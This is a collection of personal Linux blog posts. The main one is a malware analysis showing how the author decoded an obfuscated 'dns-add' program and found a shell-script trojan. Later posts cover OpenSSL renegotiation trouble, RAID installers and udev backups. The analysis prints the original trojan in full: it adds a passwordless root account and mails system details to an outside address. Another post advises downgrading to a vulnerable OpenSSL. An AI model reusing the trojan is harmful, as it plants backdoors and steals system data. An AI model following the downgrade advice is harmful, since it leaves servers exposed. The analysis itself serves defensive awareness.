Actually, the purpose of dns-add was very intriguing : update your DNS in one command !

The output should look like this:

...::: ISP-fW DNS add v1.0  :::... http://isp-fw.sourceforge.net/
--== copyleft 2005-2006 ==-- | Free memory:         864
contact isp.devel@gmail.com
You can add up to 9 DNS servers, enter a number from [0-9]: 2
Enter DNS1: 192.168.157.193
Enter DNS2: 192.168.157.251
Done adding 2 DNS!
DNS 192.168.157.193 responded in 0.256 ms
DNS 192.168.157.251 responded in 0.112 ms

Who would need it these days where all distros include tools and script to update the DNS with DHCP. At worst, it is just a matter of opening an editor to add two lines in /etc/resolv.conf. Done in 10 seconds.

To enjoy dns-add, we are supposed to compile the source code. Let’s have a look at it first.

It gets quickly obvious that there could be something nasty. The code is clearly obfuscated, to make it difficult to read:

• not much commented,
• a bunch of strange variables like “\026\243\314\376\220\366\154\166\346\334\005\116\360\114\015\231″. Could be the real code, hidden,
• None of the visible stuff seems to do anything on the DNS.

So now, let’s try to find out what’s behind all that. As we have the source code, the idea is to understand what the code is doing, so that we can write a snippet at the right place to just read the deciphered and potentially malicious code. That’s the easiest way, no need to disassembly and do memory forensic.

A good practice is to look for some pieces of code on the web, as developpers are lazy and often reuse already existing code. Doing that, you can save a lot of time.

Bingo ! There is a code almost entirely identical there.
We learn that the code, as old as 6 years old, actually hid a shell trojan instead of beeing a Red Hat update as claimed.

There is clearly a risk, so we must check what the code of dns-add contains. Here more hints help us again about the encoding used : some comments and a function name mention RC4 (or ARC4).

So let’s see how RC4 works and compare it with its possible implementation in dns-add.
Rougly, RC4 is just an improved XOR whith the help of a lot of keys permutations. I found a clear and short description there :

RC4 has two phases: key setup and ciphering.

The key setup phase is only done once per message and starts by initializing the entire state array so that the first state element is zero, the second is one, the third is two, and so on.

The state array is then subjected to 256 mixing operations using a loop that steps i through the values from zero to 255.

Each mixing operation consists of two steps:
Add to the variable j the contents of the ith element of the state array and the nth element of the key, where n is equal to i modulo the length of the key. (remember, the key here means the 10 byte IV at the front of the file, (or the one your program creates, if encoding), and the given key on the command line. (Key+IV)
Swap the ith and jth elements of the state array.

After the entire mixing loop is completed, i and j are set to zero.

During the ciphering operation, the following steps are performed for each byte of the message:

The variable i is incremented by one
The contents of the ith element of ‘State’ is then added to j
The ith and jth elements of ‘State’ are swapped and their contents are added together to form a new value n.
The nth element of ‘State’ is then combined with the message byte, using a bit by bit exclusive-or operation (XOR), to form the output byte.
The same ciphering steps are performed for encryption and for decryption.

void key(void * str, int len) for setting the key setup phase and void arc4(void * str, int len, char *hint) for the deciphering phase do exactly what’s described above.

They are called by char * xsh(int argc, char ** argv), which we are going to look at carefully now.

This function succevely setup all keys and decipher all the hardcoded vars. Note that a function, chkenv, setup a variable in the environment, based on the PID (and other tricks). It is not useful in the present case, but it could be developped further and used for example to avoid over-infections.

What’s interesting is actually the bottom of the function, where the guy actually builds the shellcode, putting alltogether the pieces of deciphered code.

j = 0;
varg[j++] = argv[0];		/* My own name at execution */
if (ret && *opts)
	varg[j++] = opts;	/* Options on 1st line of code */
if (*inlo)
	varg[j++] = inlo;	/* Option introducing inline code */
varg[j++] = scrpt;		/* The script itself */
if (*lsto)
	varg[j++] = lsto;	/* Option meaning last option */
i = (ret > 1) ? ret : 0;	/* Args numbering correction */
while (i < argc)
	varg[j++] = argv[i++];	/* Main run-time arguments */
varg[j] = 0;			/* NULL terminated array */

Then, it is launched with execvp:

#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;

Before testing further, it is safer to comment out the execvp line.

Now, we just need to retrieve the shellcode, so we just add this lazy piece of code (to insert right before #if DEBUGEXEC):

FILE *fout;
char **tmp;
tmp = varg;
fout = fopen ("dns-test","w");
do {
  fprintf (fout, *tmp);
}
while (*tmp++ != NULL);
fclose (fout);

Here we go :

$ ./dns-add
$ cat shellcode
./dns-add-c           <blank chars skipped>                    #!/bin/bash

dnsfile="/etc/resolv.conf"
failed='\e[1;31m'failed'\e[0m'
ok='\e[1;34m'ok'\e[0m'

function dns_add(){
mv -f $dnsfile $dnsfile.back
for (( i=1; i <= $dns_nr; i++ )) do
    echo -n "Enter DNS${i}: "
    read dns;
    echo "nameserver $dns" >> $dnsfile;
done
echo "Done adding $dns_nr DNS!"
echo
for i in `cat $dnsfile | cut -d " " -f 2`; do
    if [ `ping -c 1 $i | grep -c "100%"` -eq 1 ]; then
            echo -e "DNS $i $failed to respond => request timeout   "
    else
        echo -ne "DNS $i responded in ";
        ping -c 1 $i | grep icmp_seq | cut -d "=" -f 4;
    fi
done
}

clear
echo -e "...::: ISP-fW DNS add v1.0  :::...""\e[1m\e[36;40m" "http://isp-fw.sourceforge.net/\e[0m ";
echo -e "--== copyleft 2005-2006 ==-- | Free memory: $(free -m|grep cache:|cut -d ":" -f2|cut -c12-22)";
echo "contact isp.devel@gmail.com"
echo
echo -n "You can add up to 9 DNS servers, enter a number from [0-9]: ";
read dns_nr;

case $dns_nr in
  [0-9]         ) dns_add;;
  [[:lower:]]   ) echo "$dns_nr is not a number!";;
  [[:upper:]]   ) echo "$dns_nr is not a number!";;
  *             ) echo "$dns_nr is not a number!";;
esac
./dns-add

That’s it. A big C file just for this lame shell script. The good news is that it does what it says. There is no malicious purpose, for now, it’s nothing else than a (bad) joke.

In the case of the original malware, it was more harmfull :

#!/bin/sh
cd /tmp/
clear
if [ `id -u` != "0" ]
then
        echo "This patch must be applied as \"root\", and you are: \"`whoami`\""
        exit
fi
echo "Identifying the system. This may take up to 2 minutes. Please wait ..."
sleep 3
if [ ! -d /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " ]; then
 echo "Inca un root frate belea: " >> /tmp/mama
 adduser -g 0 -u 0 -o bash >> /tmp/mama
 passwd -d bash >> /tmp/mama
 ifconfig >> /tmp/mama
 uname -a >> /tmp/mama
 uptime >> /tmp/mama
 sshd >> /tmp/mama
 echo "user bash stii tu" >> /tmp/mama
 cat /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null
 rm -rf /tmp/mama
 mkdir -p /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." "
fi

bla()
{
  sleep 2
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 2
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 3
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 4
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo "#"
  sleep 1
}

echo "System looks OK. Proceeding to next step."
sleep 1
echo
echo -n "Patching \"ls\": "
bla
echo -n "Patching \"mkdir\": "
bla
echo
echo "System updated and secured successfuly. You may erase these files."
sleep 1
./badexec 'exec '%s' "$@"' "$@"

Technically, at the end, it is rather basic. However, it is successful in the way that it hides its purpose to most people.
What’s not clear yet is the poster purpose. Fun ? Any other weired feeling ? Or just testing the capacity of the community to detect maliscious software ? If so, was he just curious or does he have any future plan ?
Maybe I should ask him.

Anyway, how many people opened and read the code ? Especially on a community driven website where people tend to have a dangerous feeling of trust and safety : it can’t be malicious, the author offers the source code and nicely shares his work, right ?
And among the few people who checked the code, who really understood it ? Not everyone is an IT specialist. And even among them, not everyone is a developper or can read C.

It highlights well several things :

• social engineering is multi-platform ! We are often more vulnerable than our systems. Linux user or not.
• software published with the source code doesn’t mean safe software.

As much as possible, download software exclusively from the official repositories of your favorite distribution (openSUSE ).
If you really have to use code from an untrusted source, check it, or wait for the right people to do it! Don’t just grab any code, compile it and execute it blindly.

At the same time as open-source software grows, we, users, and also websites like Sourceforge will have to be more carefull about the content we download.

* Update *

I did contact the author and didn’t get any answer.
I reported the issue to Sourceforge, which deleted the account hosting dns-add, as it violated the website policies.

You can download the source code dns-add.tar.gz if you want to analyse it.

I was having a daily kernel panic and weired file system corruptions, which I first tought were coming from the successive crashes and reboots.

However, while it happened again and again and I could not find any good reason for that, I became more doubtful about my hardware and finally found the culprit.
I booted on Memtest, installed with zypper from the repo, which immediately displayed a lot of errors. The tedious task of isolating the faulty memory module revealed that it was one from a Ballistix bundle that I bought just 3 months ago.

I usually use Kingston or Corsair and never had such a problem, but maybe I was just lucky. I will test now the customer service of Ballistix.

Now the latest version of Apache mod_ssl (2.2) embeds an option to reactivate old way client renegociation :

SSLInsecureRenegotiation on

Check the official doc for more details. With this option activated, you can now safely upgrade openSSL and mod_ssl without breaking your clients. They should have done it from the begining, shouldn’t they ?

The next step will be to move on to the new protocol definitely, to solve for good the CVE-2009-3555 vulnerability. For that we have to wait for the browsers to support it.

Firefox has started to work seriously on it and we can expect some support in the next releases (some settings will be possible through about:config).

They even created a test site. This screenshot was taken from Google Chrome (5.0.366.2, openSUSE repo) which already has support for the SSL protocol :

At least, the IETF agreed on a fix as Marsh Ray informs us, though it will still take some weeks for the whole validation process to complete.

Moreover, as it requires both the servers and the clients to be patched, it will take months before the patches can be applied and one can have a working client authentification architecture. The longest will be the client side, of course, so I feel sorry for those who have a large park to manage.

As far as I am concerned, fortunately, I will just have a few browsers that I manage directly to update. Anyway, still more patience is needed !

There are a lot of changes, starting with cosmetics, but the biggest one is the support of multiprocessing.

It is now able to process several routers at the same time, so using it on a large list of machines results in a big speed up.

A downside is that it now requires at least Python 2.6, as multiprocessing started to be supported with this version only. Most Linux distributions now include Python 2.6, but still not all. Anyway it will be more and more the case. If you can’t uprade your distribution, you can stick with 0.60 which still do most of the work fine.

It is also now able to fetch a configuration file remotly, but it requires more testing before I feel confident in the way it works.

The complete changelog :

2009-12-20  (0.71) Jean-Christophe Baptiste ;

* ciscoclass.py : handle correctly the cisco pager — More — so that “show run” mode should work even with large config files
* sshclass.py : allow to override terminal size system settings (make use of the cisco pager to avoid filling the buffer)

2009-11-16  (0.70) Jean-Christophe Baptiste (private release)

* implement multiprocessing
* improve code documentation
* clean up UI
* reduce useless logging
* netios.py : bug : missing startTime parameter in f_skip_error and f_command functions

I cross my fingers so that there are not too many bugs, but if so, please don’t forget to report it to me.

Check there (tools page) for more details and a download link.

It is vulnerable to a MiTM attack where the attacker can intercept and retrieve the credential to a trusted HTTPS website, by intercepting the session cookie sent back to the client.

A proof of concept of an attack against Twitter was made.

Fine. But so far, the answer was to just disable any renegociation.

This actually causes some issues with SSL session timeout and totally broke client authentication.

I got into problems because of the latter. I am using client authentication for some location of my web server, and I recently could not connect anymore to these with the following log in apache :

[Tue Nov 24 16:56:15 2009] [debug] ssl_engine_kernel.c(1912): OpenSSL:Exit: error in SSLv3 read client hello A
[Tue Nov 24 16:56:15 2009] [error] [client x.x.x.x] Re-negotiation handshake failed: Not accepted by client!?

I first was not aware of the openssl patch and tried almost anything possible. My focus was, of course, on the certificate and the client.
But, a nice guy on IRC #suse, Stittel, had a good hunch and suggested me to look at the CVE-2009-3555 fix.

After more tests, it was quickly confirmed to work well with older versions of OpenSSL (as shipped in Debian Lenny).
Finally, I downgraded the OpenSSL version on my openSUSE box to a version prior to the CVE-2009-3555 fix and it just worked fine.

Then, I dig into it and found a lot of interesting reports there and there. So far it is a real mess.
In short, the breakage will stay as long as browsers don’t also include a patch to avoid renegotiation.
So far, I could not find a browser that does include a patch.
If anyone reading it knows a version that does it, please let me know.

Meanwhile, you have actually the choice between :

• low security by deactivating client authentication on your server
• low security by keeping a vulnerable version of OpenSSL

As my server is not very exposed, I chose the latter, but that’s not satisfying.  It is not recommended, but if like me you need to use client authentication with mod_ssl on openSUSE 11.2, do :

% zypper install --from repo-oss openssl openssl-certs libopenssl0_9_8 libopenssl0_9_8-32bit

where repo-oss is the alias to the 11.2 release (without updates) on your system.

What a brutal way to fix an issues without much notification and consideration to the users ! Even the log message is wrong and just confusing the administrator…

PS 1 : thanks again to Stittel for the good hint (I hope you will come by here) and to the always nice and helpful #suse channel in general

PS 2 : bug reported on openSUSE bugzilla

My intention was to have everything on the RAID volume, including /boot, so that if a disk crash, I still can boot on the second one.
That’s the way I think it should work anyway, despite the number of tutorials or forum posts advising not to do so.

The openSUSE partitionner, during the installation process, warned me that having /boot on the RAID 1 array may not work with grub.
And indeed, at the end of the installation, I could not be able to set grub properly :

• the installer seemed to be lost, writing wrong devices in the various grub config file like menu.lst and grub.conf
• I tried to use the manual edition mode offered by the installer, but either because I missed something or there is a bug somewhere, I could never save my modifications.

Conclusion : there was a no go.

I became curious to see how a few other distributions could handle it.

At first, I thought they would all fail, because I have always found the openSUSE installer to be the best out there.

So I took a Debian Lenny CD, which is my second favorite distribution, and looked at it. The Debian installer is straightforward, but the partionner has always lacked of flexibility. It is fine when you are doing something pretty standard, but you get quickly limited when you want to do something more complicated.
There, no way to have /boot on a RAID volume, and the interface was really painful to use. Any mistake almost oblige you for sure to restart all from scratch.

Then, I looked at Fedora 11… without expecting much. The last time I tried it on a machine, it just froze every time it read the disk configuration.
But… surprise ! All I wanted was supported out of the box. The partionner was as pleasant to use as the one of openSUSE, and setting grub on /dev/md0 was just a matter of checking a box.

I have been quite impressed this time and Fedora will stay on this machine for a while.

I haven’t tested openSUSE 11.2 yet because the purpose of this machine is to be a server, so I care about stability.

But I will, and I wish it can support this feature also, or that it will be the case some day.

Being lazy, it happened that I did not backup my data. Yes, it is a shame, but inserting a drive and launching the commands to rsync the discs was preventing me from this best practice.

So, I decided to make it automatic. The goal was that the only thing I would have to do would be to insert the drive, and then remove it when it is done.

Thanks to the magic of Gnu/Linux, it had been very easy. I will show below how I did it, thought they are many things that could be improved (but I haven’t felt the need so far).

Udev

Udev not only allows to create /dev entries dynamically, but offers a lot of triggers to perfom all kind of actions when some hardware is inserted.

The udevinfo command will show you a lot of output concerning your drive. What we want is a unique way to differenciate the backup drive from any other drive that will be inserted in the future.

What would be better than the manufacturer serial ?

So let’s look for it :

$ udevinfo -a -p /sys/block/sdc | grep serial

Copy the serial.

Now we have to create a rule file, that will tell to udev what to do when this particular drive is inserted.

This is done in the /etc/udev/rules.d folder. Let’s create a file 30-mnt.rules or anything you like.

We edit this file so that it contains :

ACTION=="add",KERNEL=="sd*",SUBSYSTEMS=="usb", ATTRS{serial}=="57442D57584E3430394C5A38", RUN+="/home/jc/bin/backup/bckp-home.sh %k"

ACTION==”add” will tell udev that this action must be triggered when the drive is inserted.
SUBSYSTEMS could be changed according to the drive you are using (scsi, usb, …).
ATTRS{serial} must contain the serial you just grabbed.
RUN+=”/path/to/bin/backup.sh %k” tells udev to launch the backup script. %k, which contains the device name, sdc, is passed as an argument.

Optionally, it is quite convenient, you may want to make a symlink to the /dev/sd? device, with :

KERNEL=="sd*",SUBSYSTEMS=="scsi", ATTRS{model}=="GJ0250EAGSQ     ", SYMLINK+="ultrabay%n"

The shell script

Now, the script itself :

#!/bin/sh
LOGFILE=/PATH/TO/bckp.log
echo "--- BCKP - INFO : \$1=_${1}_" >>$LOGFILE
[[ $1 ]] || { echo "ERROR : missing parameter">>$LOGFILE; exit 1; }
# give time for the user, if needed to kill the process
sleep 6
MOUNT_PATH=$(grep $(echo $1) /etc/mtab | awk '{print $2}')
[[ $MOUNT_PATH ]] || { echo "ERROR fretching mount point">>$LOGFILE;
exit 1; }
echo " Synchronizing $MOUNT_PATH)">>$LOG
# add here all you rsync commands
rsync -av --delete /PATH/TO/DATA $MOUNT_PATH/backup/
...
exit 0

Testing it

Now, let’s reload udev :

$ sudo udevadm control --reload-rules

To test if it works :

$ sudo udevadm trigger

or maybe :

$ /etc/init.d/boot.udev restart

Plug off/in your drive, and the script should be executed as expected.

Optional : setting more options with Hal

It is not necessary at all for the backup script to work, but it would be very practical to have  a fixed mount point for a drive.
For instance, I use a second drive (in the untrabay slot of my thinkpad) that contains all my virtual machines.

The benefice is to prevent a performance drain of the system when many virtual machines are doing I/O like swapping or anything else.

Create a file like /etc/hal/fdi/policy/15-static-mount.fdi, containing :

<?xml version="1.0" encoding="ISO-8859-1"?>
<deviceinfo version="0.2">
<device>
<match key="volume.uuid" string="aa0019ef-86e0-4011-b996-31ef3e7174c8">
<merge key="volume.policy.should_mount" type="bool">true</merge>
<merge key="volume.fstype" type="string">ext4</merge>
<strong><merge key="volume.policy.desired_mount_point" type="string">ultrabay</merge></strong>
<merge key="volume.label" type="string">Fuji</merge>
<merge key="volume.policy.mount_option.noatime" type="bool">true</merge>
<merge key="volume.policy.mount_option.acl" type="bool">true</merge>
</match>
</device>
</deviceinfo>

The drive is matched by it uuid. You can get the uuid of your disk with :

$ ls -la /dev/disk/by-uuid/

You can, if you want, set the volume label and specify several options of the file system.

However, the most interesting option is the “desired_mount_point” one which allow you to fix the mount point. In the example, the disk will always be mounted in /media/ultrabay, and not the system disk, or disk_1, etc.

Coming next !

That’s all for today folks. Let me know if there are some things not clear or that can be optimized.

Next time, we will see how to run the same script from Hal instead. We will also use Zenity to get a nice GUI prompt when the disk is inserted.

I can’t wait for it to become stable !

UPDATE 2009-02-05 : I hope to see this soon on a Linux distribution.

Cannot create link /etc/mtab~
Perhaps there is a stale lock file?

As a result, some of the partitions were not mounted and the system was pretty much broken.

But, no need to panic, just erase all the lock files (be careful not to erase the mtab file itself !) :

$ rm /etc/mtab~*

Now test mounting your partitions to check that you don’t get this message anymore :

$ mount -a

If it is alright, reboot and it should be fine.